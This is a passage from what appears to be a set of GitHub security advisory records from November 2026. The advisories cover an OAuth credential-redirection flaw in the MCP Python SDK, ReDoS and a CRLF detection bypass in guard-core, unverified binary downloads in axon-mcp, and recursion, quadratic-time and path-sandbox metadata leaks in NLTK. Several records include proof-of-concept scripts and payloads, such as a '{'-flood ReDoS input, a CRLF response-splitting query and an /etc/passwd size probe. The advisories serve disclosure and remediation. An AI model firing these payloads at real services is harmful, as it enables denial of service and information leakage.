nltk.data import SeekableUnicodeStreamReader\n\ndef measure(n):\n stream = io.BytesIO(b\"a\" * n) # one unterminated line, no newline\n reader = SeekableUnicodeStreamReader(stream, \"utf-8\")\n t0 = time.perf_counter()\n line = reader.readline() # size=None -> corpus-view path\n dt = time.perf_counter() - t0\n assert len(line) == n\n return dt\n\nprev = None\nfor n in (1_000_000, 2_000_000, 4_000_000, 8_000_000):\n dt = measure(n)\n ratio = \"-\" if prev is None else f\"{dt/prev:.2f}x\"\n print(f\"{n:>12,} chars {dt:8.3f}s ratio(x2 size)={ratio}\")\n prev = dt\n```\n\n```text\n 1,000,000 chars 0.058s ratio(x2 size)=-\n 2,000,000 chars 0.290s ratio(x2 size)=4.99x\n 4,000,000 chars 1.154s ratio(x2 size)=3.98x\n 8,000,000 chars 4.694s ratio(x2 size)=4.07x\n```\n\nThe roughly 4x time increase for each 2x increase in size is the O(N^2) signature; a linear `readline` would grow about 2x per 2x size step.\n\n## Attack Chain\n\n1. **Exposure:** The victim application processes a cLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-qx49-fqc8-xw99","published":"2026-11-19T22:45:40Z","modified":"2026-11-19T23:00:36.665030140Z","aliases":["CVE-2026-115563"],"summary":"Model Context Protocol Python SDK: OAuth client could send credentials to an authorization server chosen by the MCP server","details":"### Summary\nIn affected versions, the SDK's OAuth client support (`mcp.client.auth`) let the MCP server a client connected to decide where the client's OAuth credentials were sent:\n\n- the authorization server metadata `issuer` was not validated on every discovery path, and\n- stored or pre-provisioned client credentials were not bound to the authorization server they belong to.\n\nA malicious or compromised MCP server could therefore direct them to a token endpoint of its choosing:\n\n- by naming its own authorization server in its protected resource metadata, or\n- by publishing none and serving metadata that presents the user's real authorization server as the `issuer`.\n\nIt would then receive the `client_secret`, authorization code and PKCE `code_verifier` meant for that real server (or, with `PrivateKeyJWTOAuthProvider`, a signed client assertion).\n\n### Am I affected?\nYes, if both of these hold:\n\n- your application uses the SDK as an MCP client over HTTP with `OAuthClientProvider`, `ClientCredentialsOAuthProvider`, `PrivateKeyJWTOAuthProvider` or the deprecated 1.x `RFC7523OAuthClientProvider` as the transport's `auth` handler;\n- it may connect to an MCP server you do not fully trust while holding credentials for a legitimate authorization server (a pre-provisioned secret or signing key, or a stored client registration).\n\nAffected versions:\n\n- 1.9.1 through 1.29.1: no `issuer` check and no credential binding on any path.\n- 2.0.0 through 2.1.1: both missing whenever the server publishes no protected resource metadata (the legacy fallback) or answers `403 insufficient_scope`.\n- Both lines, on every path: `ClientCredentialsOAuthProvider` and `PrivateKeyJWTOAuthProvider` had no way to name the authorization server their credentials belong to.\n\nNot affected:\n\n- MCP servers built with the SDK\n- stdio clients\n- clients that attach their own tokens or headers\n\nThe rating is scored for the unattended providers. With the interactive `OAuthClientProvider` a person has to start the sign-in; scored that way it is 6.5 (`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N`).\n\n### Fix\nUpgrade to `mcp` 2.2.0 (2.x) or 1.30.0 (1.x) or later.\n\nIf you use `ClientCredentialsOAuthProvider` or `PrivateKeyJWTOAuthProvider`, upgrading changes nothing until you also pass `issuer=` (for example `issuer=\"https://auth.example.com\"`):\n\n- Without it they still follow whichever authorization server the MCP server advertises.\n- Omitting it now emits a deprecation warning, and it becomes required in 3.0. On 1.30.0 it is a `DeprecationWarning`, which Python hides by default.\n- The deprecated 1.x `RFC7523OAuthClientProvider` has no `issuer` option. Move to one of these two providers.\n\nIn the fixed versions the client also:\n\n- works out which issuer it expects before fetching any authorization server metadata, on every path;\n- refuses metadata whose `issuer` differs, with `OAuthFlowError`;\n- binds stored registrations to that issuer, and discards one bound to a different issuer so the client registers again.\n\nAfter upgrading:\n\n- **Stored registrations:** a registration stored without an issuer stays unbound. That includes everything 1.x stored before 1.30.0. Clear stored OAuth client information once so the client registers again. If you placed a pre-registered client in storage yourself, set `issuer` on that record instead.\n- **Past exposure:** if such a client may have connected to an untrusted MCP server, rotate its client secret and revoke its tokens at the authorization server.\n\nOn earlier versions there is no workaround other than connecting OAuth-enabled clients only to MCP servers you trust.","affected":[{"package":{"name":"mcp","ecosystem":"PyPI","purl":"pkg:pypi/mcp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0a1"},{"fixed":"2.2.0"}]}],"versions":["2.0.0","2.0.0a1","2.0.0a2","2.0.0a3","2.0.0b1","2.0.0b2","2.0.0rc1","2.0.1","2.1.0","2.1.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-qx49-fqc8-xw99/GHSA-qx49-fqc8-xw99.json"}},{"package":{"name":"mcp","ecosystem":"PyPI","purl":"pkg:pypi/mcp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.1"},{"fixed":"1.30.0"}]}],"versions":["1.10.0","1.10.1","1.11.0","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.13.0","1.13.1","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.18.0","1.19.0","1.20.0","1.21.0","1.21.1","1.21.2","1.22.0","1.23.0","1.23.1","1.23.2","1.23.3","1.24.0","1.25.0","1.26.0","1.27.0","1.27.1","1.27.2","1.28.0","1.28.1","1.29.0","1.29.1","1.9.1","1.9.2","1.9.3","1.9.4"],"database_specific":{"source":"https://github.com/githubLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-r7hm-rjvg-xx7j","published":"2026-11-19T22:49:33Z","modified":"2026-11-19T23:00:36.653178059Z","aliases":["CVE-2026-129302"],"summary":"Guard Core: Quadratic ReDoS in built-in detection pattern freezes the event loop with a single request","details":"### Summary\n\nA polynomial (quadratic) regular-expression denial of service in guard-core's built-in penetration-detection patterns allows any unauthenticated remote client to freeze **every** endpoint of an application for seconds per request, using only the default configuration. The triggering request completes without any detection match — no ban counter increments, no rate-limit violation is recorded — so it can be repeated indefinitely. Since guard-core 3.5.0, only *custom* patterns are executed through the compiler's timeout-protected `create_safe_matcher()`; all built-in patterns run as a bare, inline `pattern.search(content)` directly on the asyncio event loop. guard-core ≤ 3.4.0 ran built-ins through the safe matcher (verified in the 3.4.0 wheel, `_check_regex_pattern`), so this is a **regression introduced in 3.5.0** — and it silently undoes the protection credited to GHSA-rrf6-pxg8-684g (CVE-2025-54365) and the unbounded-quantifier remediation of GHSA-j47q-rc62-w448 (CVE-2025-53539) for every stock pattern, despite the changelog advertising \"Safe regex execution with configurable timeouts to prevent ReDoS attacks.\"\n\n### Details\n\n**1. The pattern** — `guard_core/handlers/suspatterns_handler.py:519` (master `08780f1`), the built-in template-injection detector:\n\n```python\nr\"\\{\\{\\s*[^\\}]+(?:system|exec|popen|eval|require|include)\\s*\\}\\}\"\n```\n\nOn an input of `{` repeated N times, every one of the N−1 positions starts a `\\{\\{` match attempt and `[^\\}]+` scans to end-of-string and backtracks once per position → O(N²). Note the sibling pattern at `:524` (`\\{\\%\\s*[^\\%]+...`) is **not** vulnerable — its delimiter `%` is excluded from the character class, keeping scans bounded — which confirms the root cause is the unbounded, non-excluding `[^\\}]+`.\n\n**2. The unprotected execution path** — `guard_core/handlers/suspatterns_handler.py:910-926`:\n\n```python\nif compiler:\n if category == \"custom\":\n safe_matcher = compiler.create_safe_matcher(pattern) # executor + timeout\n match = safe_matcher(content)\n ...\n else:\n match = pattern.search(content) # ← inline, NO timeout\n```\n\nIn enhanced mode (the default whenever a `SecurityConfig` is present — `_supports_enhanced_config()` is a duck-type attribute check a stock config always passes), all built-in patterns execute inline **inside the async coroutine**, blocking the event loop for the full scan. In guard-core ≤ 3.4.0, `_check_regex_pattern()` routed *every* pattern through `self._compiler.create_safe_matcher(pattern.pattern)` (verified in the 3.4.0 wheel, `suspatterns_handler.py:565-567`) or, without a compiler, through `_check_pattern_with_timeout` (4-worker pool + per-pattern timeout). The `category == \"custom\"` exemption appeared in 3.5.0.\n\n**3. Default reachability** — penetration detection is on by default (`enable_penetration_detection=True`), query parameters are scanned by default (`guard_core/utils.py:843-865`), and the default scan window `detection_max_content_length=10000` (`models.py:765-770`) admits the full 10,000-character payload. A run of `{` survives preprocessing untouched.\n\n**Measured** (CPython 3.14, guard-core 3.12.0):\n\n| input | detect() wall time | event-loop lag (measured in-process) |\n|---|---|---|\n| `{` × 2,500 | 0.15 s | — |\n| `{` × 5,000 | 0.46 s | — |\n| `{` × 10,000 | **1.85 s** | **2.57 s cumulative** across the three calls |\n\nClean 4× per doubling — quadratic, not exponential. Profiling all built-ins against the payload attributes 1.766 s of the 1.77 s total to this single pattern (one-line fix: bound the gap, e.g. `\\{\\{\\s*[^\\}\\s]{0,64}(?:system|exec|popen|eval|require|include)\\s*\\}\\}`).\n\n**Amplification:** every scanned value pays the cost independently (`utils.py:843-890` per query param/header; `utils.py:936-977` per JSON string field). A single 256 KB JSON body (the default `detection_max_body_inspect_bytes`) containing ~25 string fields of `{`×10,000 measured **44.03 s of continuous event-loop blockage from one request**, returning normally with no detection hit.\n\n**Why rate limiting doesn't help:** guard-core defaults are `rate_limit=10` per `rate_limit_window=60` s (`models.py:369-375`), and the `rate_limit` check runs before `suspicious_activity` in the default pipeline. 10 × 44 s = **440 s of loop blockage per 60 s window from a single IP** — single-source saturation, no distribution needed.\n\n**Framework reach:** any adapter embedding guard-core on an asyncio loop — fastapi-guard, flaskapi-guard (async deployments), djapi-guard (ASGI) — shares the loop with the apLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-r7wg-f7r2-8wf7","published":"2026-11-19T20:34:53Z","modified":"2026-11-19T20:45:04.413068301Z","aliases":["CVE-2026-76818"],"summary":"Axon: Download of Code Without Integrity Check in axon-mcp","details":"### Summary\naxon rtk-install downloads a pre-built rtkx binary from GitHub releases and executes it via subprocess.run() on every text-compression call, without verifying its integrity — no checksum, signature, or attestation check anywhere in the download/install path. If the release pipeline or a maintainer token for sammyjdev/rtkx were ever compromised, every axon user who installs or auto-bootstraps rtkx would silently download and execute an unverified binary with the same privileges as the axon process.\n\n### Details\nThe download path lives in src/axon/context/rtk_bootstrap.py:\n\n- _http_download() fetches the release archive over HTTPS via urllib.request.urlopen() and writes the raw response bytes to disk — no hash comparison against any published value.\n- _extract_binary() unpacks the archive (zip/tar.gz) and sets the executable bit (out.chmod(... S_IXUSR | S_IXGRP | S_IXOTH)), again with no verification step.\n- There is no reference to checksum, sha256, verify, signature, gpg, cosign, or sigstore anywhere in this file.\n\nThe binary is not dead code — it's on the active execution path. src/axon/context/rtk.py::rtk_binary_path() resolves to the bootstrapped binary at ~/.axon/bin/rtkx, and compress_text_with_rtk() invokes it directly:\n\n`\nresult = subprocess.run(\n [path, \"read\", str(tmp_path)],\n capture_output=True, text=True, timeout=timeout_seconds,\n)`\n\n\n### PoC\nThis is a missing-control finding rather than an active exploit, so reproduction is by code audit rather than a live payload:\n\nClone sammyjdev/axon and open src/axon/context/rtk_bootstrap.py.\nConfirm _http_download() and _extract_binary() perform no hash/signature check before chmod +x.\nTrace the call chain: bootstrap_rtkx() → _http_download() → _extract_binary() → rtk_binary_path() (in rtk.py) → subprocess.run() in compress_text_with_rtk().\nOptionally demonstrate impact safely: point download_url() / the download callable (already injectable per the module's own docstring, \"the download step is injectable so the extraction logic is testable offline\") at a local HTTP server serving an attacker-controlled archive, and confirm it gets extracted, chmod +x'd, and executed with no rejection.\n\n### Impact\nType: CWE-494 (Download of Code Without Integrity Check), \nleading to potential arbitrary code execution.\nWho's affected: Any axon user who runs axon rtk-install or triggers auto-bootstrap, if sammyjdev/rtkx's release pipeline or a maintainer's release credentials are ever compromised. Not exploitable today without that precondition, but the missing control removes the last line of defense against a supply-chain compromise of the binary dependency.","affected":[{"package":{"name":"axon-mcp","ecosystem":"PyPI","purl":"pkg:pypi/axon-mcp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.1.0"}]}],"versions":["0.1.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r7wg-f7r2-8wf7/GHSA-r7wg-f7r2-8wf7.json"}}],"references":[{"type":"WEB","url":"https://github.com/sammyjdev/axon/security/advisories/GHSA-r7wg-f7r2-8wf7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76818"},{"type":"WEB","url":"https://github.com/sammyjdev/rtkx/pull/2"},{"type":"WEB","url":"https://github.com/sammyjdev/rtkx/pull/3"},{"type":"WEB","url":"https://github.com/sammyjdev/axon/commit/398e47d5d2b1e1ba88c8d2bac90ac30811a9152b"},{"type":"WEB","url":"https://github.com/sammyjdev/axon/commit/c5863e616688c6c60b2716db9ce4b1b522213b8c"},{"type":"WEB","url":"https://github.com/sammyjdev/axon/commit/d2cc7bccd99c76ec06ac7f7f04d3b2f765c9e741"},{"type":"PACKAGE","url":"https://github.com/sammyjdev/axon"}],"database_specific":{"cwe_ids":["CWE-494"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T20:34:53Z","nvd_published_at":"2026-11-18T22:17:24Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-rh8m-wqhc-qmrf","published":"2026-11-19T23:53:41Z","modified":"2026-11-20T00:00:04.065535200Z","aliases":["CVE-2026-129222"],"summary":"Natural Language Toolkit (NLTK): Uncontrolled recursion (crash DoS) in DependencyGraph.tree()/triples()","details":"### Summary\nDependencyGraph.tree()/triples() walk the parsed dependency structure using plain, unbounded Python recursion — one stack frame per edge in the graph — and never use the class's own cycle detector. A crafted dependency-parse file with a few thousand chained tokens (an entirely ordinary-looking long sentence) crashes the process with an unhandled RecursionError the moment .tree() or .triples() is called — which is NLTK's own documented usage pattern immediately after loading such a file.\n\n### Details\n`DependencyGraph._tree()` (~lines 393-406), `.tree()` (~408-417), and `.triples()` (~419-432) in `nltk/parse/dependencygraph.py` rebuild/walk the graph with `Tree(word, [self._tree(dep) for dep in deps])` and `yield from self.triples(node=dep)` — ordinary recursive calls, one per edge, with no depth check. `contains_cycle()` is defined on the class (~line 447) but is never invoked by any of these three methods.\n\nThis is exactly the CWE-674 pattern the project has already identified and fixed elsewhere: `nltk/tree/tree.py` adds `MAX_TREE_DEPTH = 500` with a comment stating that an arbitrarily deep tree would make every traversal raise RecursionError, and `nltk/test/unit/test_recursion_dos.py` locks in the identical fix for `FeatStructReader`, `LogicParser`, and `ResolutionProver`. But `DependencyGraph` builds its `Tree` objects **programmatically** (`Tree(word, [...])`), which bypasses `MAX_TREE_DEPTH` entirely — that guard only fires inside `Tree.fromstring()`'s bracket-string parser, never in `Tree.__init__`. `DependencyGraph`'s own recursive walk has no depth limit of its own.\n\nAny Malt-TAB/CoNLL(3/4/7/10)-format text — read via `DependencyCorpusReader` (`nltk/corpus/reader/dependency.py`, lines 62-69, backing the public, documented `nltk.corpus.dependency_treebank` and `nltk.corpus.conll2007` corpora) or via the public classmethod `DependencyGraph.load(filename)` (~line 213) / `DependencyGraph(text)` directly — that chains more tokens than Python's default recursion limit (1000) via consecutive head references crashes with an unhandled `RecursionError` the moment `.tree()`/`.triples()` is called. Calling `.tree()` immediately after `parsed_sents()` is not a contrived edge case — it is NLTK's own documented usage pattern (`nltk/test/corpus.doctest`: `print(conll2007.parsed_sents('esp.train')[0].tree())`; `nltk/test/dependency.doctest`: `dg.tree().pprint()`).\n\n**Related observation:** `contains_cycle()` itself has a separate bug that means it wouldn't help even if it were called on this path — it iterates `node[\"deps\"]` as if it were a flat list of neighbor addresses, but `_parse()`/`add_arc()` actually store `deps` as `{relation_label: [addresses]}`; iterating that dict yields relation-label strings, which then fail the `dep not in self.nodes` check and get silently skipped. So `contains_cycle()` returns `False` (a false negative) on real parsed/`add_arc()`-built graphs even when a genuine cycle exists — it only works on the flat-list shape used in its own docstring example. This reinforces that there is no working recursion/cycle safety net on this code path today.\n\n### PoC\nA tiny (few KB) 3-column Malt-TAB file: one root line `w1 ROOT 0` followed by ~2000-3000 lines `wi X i-1`, each chaining a token to the previous one (an entirely ordinary-looking long sentence/coordination structure). Verified directly against current source:\n\n1. Constructing a `DependencyGraph` from a 3000-token linear chain and calling `.tree()` → `RecursionError: maximum recursion depth exceeded`. Confirmed.\n2. Same graph, `.triples()` fully consumed → `RecursionError`. Confirmed.\n3. Full realistic path: wrote the 3000-token chain to a temp file, read it back through an actual `DependencyCorpusReader` (the exact class backing `dependency_treebank`/`conll2007`) via `parsed_sents()`, then called `.tree()` on the result → `RecursionError`, end-to-end through the real public API.\n\n(One honest correction to an earlier draft of this finding: a \"two lines whose head columns reference each other\" file-based cycle does *not* actually reach this crash the way it might seem — in the single-head-per-token Malt-TAB/CoNLL format, a genuine mutual-reference pair can't simultaneously be reachable from the graph's root and form a back-edge, so it either leaves `self.root = None`, or the pair becomes a disconnected island that's silently walked past without crashing. The long-chain vector above is the one that's fully, independently confirmed; a cycle built via direct `add_arc()` graph manipulation does also crash, but that's a narrower trigger than a parsed file.)\n\n### Impact\nAn unauthenticated party whoLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-w3pv-xfw4-ghr7","published":"2026-11-19T23:51:48Z","modified":"2026-11-20T00:00:04.082273888Z","aliases":["CVE-2026-129226"],"summary":"NLTK: Uncontrolled recursion in semantic-logic type parser causes denial of service via nested type strings","details":"## Root Cause\nThe semantic-logic type parser `read_type` (`nltk/sem/logic.py:866`) recurses on both\nhalves of every `<a,b>` complex type (`nltk/sem/logic.py:882-884`) with no depth or length\nbound — only an `isinstance` assertion and a parenthesis-balance assertion. The\n`LogicParser.MAX_PARSE_DEPTH` guard (`nltk/sem/logic.py:107,294`) protects the expression\nparser but never runs on the `read_type` path, which is reached directly by the public\n`Type.fromstring` classmethod and by signature-string type checking.\n\n## Impact\nAn application that parses an untrusted type string, or type-checks an expression against\nan attacker-influenced signature, aborts with an unhandled `RecursionError`, terminating\nthe affected operation or request worker (denial of service, CWE-674). The recursion is\npure Python, yielding a catchable `RecursionError` rather than memory corruption or code\nexecution. Confidentiality and integrity are unaffected. Exposure is narrower than a\ngeneral-purpose parser because the input must reach a type-string or signature parameter.\n\n## Attack Chain\n1. The application calls `nltk.sem.logic.Type.fromstring(s)` (`nltk/sem/logic.py:736`) — or\n `Expression.typecheck(signature)` / `Expression.fromstring(expr, type_check=True,\n signature=...)`, which reach `read_type` for each type-string signature value\n (`nltk/sem/logic.py:1080`) — with a deeply nested type string such as\n `\"<\" * n + \"e,e\" + \">\" * n`.\n2. `Type.fromstring` passes the string straight to `read_type` with no length or depth\n check (only assertions on type and parenthesis balance).\n3. `read_type` recurses on both halves of each `<a,b>` level, consuming one stack frame per\n nesting level; the `MAX_PARSE_DEPTH` guard on the separate `LogicParser` class does not\n execute here.\n4. Once the depth exceeds the interpreter recursion limit, an unhandled `RecursionError`\n propagates out of the public API.\n\n## Bypass Evidence\nRunning the shipped `read_type`/`ComplexType`/`Type` source verbatim at the default\nrecursion limit: depth 5 parses cleanly to a `ComplexType` (both assertions satisfied at\nevery level), while depth 5000 raises an unhandled `RecursionError`. The clean shallow\nparse shows the failure is depth-driven rather than an assertion failure. A code review\nconfirms the `MAX_PARSE_DEPTH` bound lives on the `LogicParser` class and is not applied to\n`read_type`, whose own module docstring for that guard explicitly names uncontrolled\nrecursion (CWE-674) as the risk it addresses.\n\n## Suggested Fix\nApply a recursion-depth bound to `read_type` (a depth argument raising a bounded\n`ValueError` past a configurable maximum), matching the intent of the existing\n`LogicParser.MAX_PARSE_DEPTH` guard so that both the expression and type-string paths are\nprotected.\n\nReported by pi (GitHub: @manus-pi).\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3885 \"Bound recursion depth in parsers and traversal helpers\" (ekaf), merged 2026-09-11, merge commit e521ecafc on develop.\n\nFix commit: 2f4f0d47e (nltk/sem/logic.py: read_type is bounded by LogicParser.MAX_PARSE_DEPTH) with a8036c5e7 (fixes a NameError in that bound).\n\nProbe: nltk/test/unit/security_probes/ghsa_w3pv_xfw4_ghr7.py (added in 2a6704952 on that PR); verdict on develop 2fa3f48fe: FIXED (bounded (LogicalExpressionException)).\n\nRelease: none yet; no release tag contains e521ecafc.","affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.4"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.10.0","3.10.1","3.10.2","3.10.3","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"last_known_affected_version_range":"<= 3.10.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-w3pv-xfw4-ghr7/GHSA-w3pv-xfw4-ghr7.json"}}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-w3pv-xfw4-ghr7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-129226"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3885"},{"type":"WEB"Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-w674-vqhw-g3pg","published":"2026-11-19T23:47:58Z","modified":"2026-11-20T00:00:05.083219827Z","aliases":["CVE-2026-129233"],"summary":"NLTK: StreamBackedCorpusView constructor os.stat leaks out-of-root file existence, size, and mtime bypassing pathsec ENFORCE","details":"## Summary\n\n`StreamBackedCorpusView`, a public API in `nltk/corpus/reader/util.py`, applies the pathsec sandbox to the file content it reads but not to the file metadata it probes in its constructor. When the view is created with a plain string fileid, `__init__` calls `os.stat(self._fileid).st_size` with no pathsec validation, so an application that passes an attacker influenced path to the constructor discloses whether an arbitrary out of root file exists and, if it does, its exact byte size and modification time, even when `nltk.pathsec.ENFORCE` is `True`. This is the residual metadata channel left open by the fix for CVE-2026-63312 (GHSA-x5ph-mj9p-rfr8), which closed arbitrary content read on the same code path but did not bring the sibling `os.stat` under the sandbox.\n\n## Root Cause\n\nThe pathsec sandbox is intended to confine all NLTK filesystem access to allowed data roots. The fix for CVE-2026-63312 enforced this for content reads by routing `StreamBackedCorpusView._open` through `nltk.pathsec.open` (`_secure_open`). The constructor, however, computes the end of file position eagerly, and on the non `PathPointer` branch it stats the caller supplied path directly. The `PathPointer` branch is validated (it calls `PathPointer.file_size()`), but the plain string branch reaches `os.stat` with no `validate_path`, `_secure_open`, or `required_root` check. The security invariant \"no filesystem access outside allowed roots under ENFORCE\" is therefore violated for the metadata channel: `os.stat` is filesystem access, and it is performed on the same untrusted string entry point that the content read fix protected.\n\n```text\nAffected component: nltk.corpus.reader.util.StreamBackedCorpusView.__init__\nSink: nltk/corpus/reader/util.py, os.stat(self._fileid).st_size on the plain-string branch\nGuarded sibling: _open() (routes through nltk.pathsec.open); the constructor os.stat is not guarded\n```\n\n## Impact\n\nAn attacker who can influence the fileid string passed to `StreamBackedCorpusView(...)` (the same attacker model under which CVE-2026-63312 was published for content read) obtains a filesystem oracle that operates across the process visible filesystem regardless of the pathsec data roots and with `ENFORCE=True`:\n\n- Existence: a present path returns a size; a missing path raises `ValueError` whose message embeds the underlying OS error, so ENOENT, EACCES, and ENOTDIR are distinguishable, adding a permission and type probe.\n- Exact size: `st_size` of the target file is exposed (demonstrated below: `1850` for `/etc/passwd`, matching the real size).\n- Modification time: `st_mtime` is available from the same stat result.\n\nFile content is not disclosed: iterating the view still routes through the sandboxed open and is refused. The demonstrated capability is therefore metadata only (existence, exact size, mtime, and error class discrimination). Reachability is application conditional: in tree corpus readers construct views from validated `PathPointer` objects and take the guarded branch, so exploitation requires application code that hands an attacker influenced string directly to the public constructor, which is the same condition accepted for the original content read advisory.\n\n## Proof of Concept\n\n`Requires nltk 3.10.0 through 3.10.3 installed (the pathsec-hardened line). No non-default configuration; pathsec ENFORCE defaults to True. Reproduced against the published PyPI sdist nltk==3.10.3.`\n\n1. Construct the public corpus view with an out of root path string.\n2. Read the eagerly computed `_eofpos` (the leaked size) without iterating the view.\n3. Observe that iterating the view (which would read content) is blocked by the sandbox.\n\n```python\nimport os\nimport nltk.pathsec as ps\nfrom nltk.corpus.reader.util import StreamBackedCorpusView as V\n\nprint(\"ENFORCE\", ps.ENFORCE) # True (default)\n\nv = V(\"/etc/passwd\", lambda s: [s.read()])\nprint(\"size leaked\", v._eofpos, \"real\", os.stat(\"/etc/passwd\").st_size)\n\ntry:\n \"\".join(list(v)) # attempt content read\nexcept Exception as e:\n print(\"content blocked\", type(e).__name__)\n```\n\n```text\nENFORCE True\nsize leaked 1850 real 1850\ncontent blocked PermissionError # Security Violation [pathsec.open]: Unauthorized path /etc/passwd\n```\n\nA nonexistent path instead raises `ValueError: Unable to open or access '/etc/nonexistent_xyz' -- [Errno 2] No such file or directory`, providing the existence and error class oracle.\n\n## Attack Chain\n\n1. **Exposure:** An application constructs `StreamBackedCorpusView(fileid, block_reader)` where `fileid` is an attaLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-w7wg-6q7v-44f2","published":"2026-11-19T22:50:13Z","modified":"2026-11-19T23:00:36.655732220Z","aliases":["CVE-2026-129303"],"summary":"Guard Core: Whitespace-collapse preprocessing permanently disables the CRLF-anchored http-splitting and command-injection detectors in the default detection mode","details":"### Summary\n\nIn the default \"enhanced\" detection mode, `ContentPreprocessor.preprocess()` collapses all whitespace (`re.sub(r\"\\s+\", \" \", content)`, `guard_core/detection_engine/preprocessor.py:137` on master `08780f1`; `:384` in the 3.12.0 sdist) **before** pattern matching. This erases every `\\r` and `\\n` from the scanned value, rendering two built-in detectors structurally unmatchable regardless of input:\n\n- http_split — `guard_core/handlers/suspatterns_handler.py:540`: `r\"[\\r\\n]\\s*(?:HTTP\\/[0-9.]+|Location:|Set-Cookie:)\"` requires a literal `\\r` or `\\n`, which no longer exists after preprocessing;\n- cmd_injection — `r\"\\n\\s*(?:bash|sh|...)\\s+-c\\b\"` — same structural death.\n\nThe downstream application receives the **raw** value with CRLF intact (Starlette percent-decodes `%0d%0a` in query parameters before the adapter passes `request.query_params.items()` to `guard_core/utils.py:843-865`), so a response-splitting-shaped payload passes detection unflagged.\n\n### Details\n\nVerified end-to-end against a real uvicorn server running the fastapi-guard adapter over guard-core 3.12.0, default config:\n\n| request (`?q=`) | status |\n|---|---|\n| `value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1` (decoded to literal CRLF by the framework) | **200 — missed** |\n| `' OR 1=1--` | 400 — blocked (detection otherwise working) |\n| `1 UNION SELECT password FROM users--` | 400 — blocked |\n| `; cat /etc/passwd` | 400 — blocked |\n\nThe legacy mode (no `SecurityConfig` detection attributes) skips preprocessing and catches the same decoded CRLF payload — the gap is specific to the enhanced-mode preprocessing pipeline, which every stock `SecurityConfig` activates. Contrast: every other preprocessing step (URL/HTML/hex/base64 decode) transforms *toward* what the attacker means; whitespace collapse is the one step that removes signal the detectors were written to require.\n\n### PoC\n\n```python\nimport asyncio\nimport httpx\nimport uvicorn\nfrom fastapi import FastAPI\nfrom guard.adapters import SecurityMiddleware # fastapi-guard adapter over guard-core\nfrom guard_core.models import SecurityConfig\nfrom starlette.middleware import Middleware\n\napp = FastAPI(middleware=[Middleware(\n SecurityMiddleware, config=SecurityConfig(enable_redis=False))])\n\n@app.get(\"/search\")\nasync def search(q: str = \"\") -> dict:\n return {\"len\": len(q)}\n\nasync def main() -> None:\n server = uvicorn.Server(uvicorn.Config(app, host=\"127.0.0.1\", port=8995, log_level=\"error\"))\n task = asyncio.create_task(server.serve())\n for _ in range(50):\n if server.started:\n break\n await asyncio.sleep(0.1)\n async with httpx.AsyncClient() as client:\n r = await client.get(\"http://127.0.0.1:8995/search\",\n params={\"q\": \"value%0d%0aHTTP%2F1.1+200+OK%0d%0aSet-Cookie%3A+pwned%3D1\"})\n print(\"CRLF payload:\", r.status_code, \"(200 = missed)\")\n r2 = await client.get(\"http://127.0.0.1:8995/search\", params={\"q\": \"' OR 1=1--\"})\n print(\"SQLi control:\", r2.status_code, \"(400 = detection works)\")\n server.should_exit = True\n await task\n\nasyncio.run(main())\n# Output: CRLF payload: 200 (missed) / SQLi control: 400 (blocked)\n```\n\n### Impact\n\nA detection bypass in a WAF/defense-in-depth layer: payloads shaped like HTTP response splitting (or newline-anchored command injection) are not flagged in the default mode, while other attack classes are. Not directly exploitable against Starlette/uvicorn-backed apps (they reject CRLF in response headers); the residual risk is for apps behind other stacks or apps that persist and re-emit the value where a CRLF-tolerant parser exists.\n\n**Fix:** preserve `\\r\\n` during whitespace collapse (collapse only `[ \\t]+`), or run the newline-anchored patterns against the pre-collapse content.\n\n\n\n## Reporter validation request\n\nThe fix ships in guard-core 3.13.0, now on 